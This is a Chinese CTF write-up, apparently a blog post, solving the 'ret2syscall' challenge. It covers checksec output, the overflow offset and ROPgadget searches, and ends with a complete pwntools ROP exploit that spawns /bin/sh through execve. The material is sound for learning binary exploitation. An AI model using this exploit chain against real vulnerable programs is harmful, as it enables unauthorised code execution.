ROPgadget初识 ——— ret2syscall

37 篇文章 3 订阅

先拿到题目ret2syscall,环境开启了地址随机化
先checksec一下
在这里插入图片描述
发现只开启了NX

Relro:No Relro(重定位表只读):

Relocation Read Only, 重定位表只读。重定位表即.got 和 .plt 两个表。
  RELRO会有No RELRO、Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
Stack:No Canary found(能栈溢出)
NX: NX enable(不可执行内存)
NX 即没有 x 属性,如果没有 x 属性,写入的 shellcode 就无法执行。这种情况下,我们可以使用 ROP (Return-Oriented Programming 返回导向编程),利用栈溢出在栈上布置地址,使得我们可以通过栈溢出获得我们想要的数据
PIE: NO PIE(不开启ASLR 地址随机化)

所以该题可以使用ROPgadget进行攻击
先反汇编看看是否存在栈漏洞,如下图,很明显存在栈溢出漏洞在这里插入图片描述

首先先看下栈要溢出多少字节,使用gdb调试即可:

计算可知,需要填充108+4=112字节垃圾数据,接下来问题就是返回值该溢出什么值,这时候先要搞清楚想要其执行什么指令
这里我们想要其执行/bin/sh这条指令,具体执行汇编代码如下:

mov eax, 0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80
==>execve("/bin/sh",NULL,NULL)

因此我们要将返回值先指向去mov eax,0xb这条指令
在执行中不可能找到一条一样的指令,这条主要指令的目的是将eax的值变成0xb,pop eax也可实现
pop eax是将栈顶的值弹出存入到eax中,我们先找到pop eax这条指令,并且还要有返回指令,这样我们才能利用再溢出返回值去让其执行下面的指令
使用ROP命令查询有pop eax ret的指令

 ROPgadget --binary ret2syscall --only "pop|ret" | grep eax

在这里插入图片描述
可知0x080bb196出地址可以
接下来就是找其他指令
在这里插入图片描述
发现0x0806eb90正好有edx ecx ebx ret内容,则利用该指令构造即可,接下来构造mov ebx, [“/bin/sh”]
使用ida查找/bin/sh内容,发现正好有,查询该条指令地址为080BE408
在这里插入图片描述
最后构造int 0x80即可,用ROPgadget --binary ret2syscall --only “int” 发现该地址为0x08049421
就此全部地址都寻找完毕,构造的栈图为
在这里插入图片描述
具体代码为:

from pwn import *
io = process("./ret2syscall")
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_80h = 0x08049421
bin_sh = 0x080BE408
payload = flat([b'A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,bin_sh,int_80h])
io.sendline(payload)
io.interactive()

在这里插入图片描述
OK 完结

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值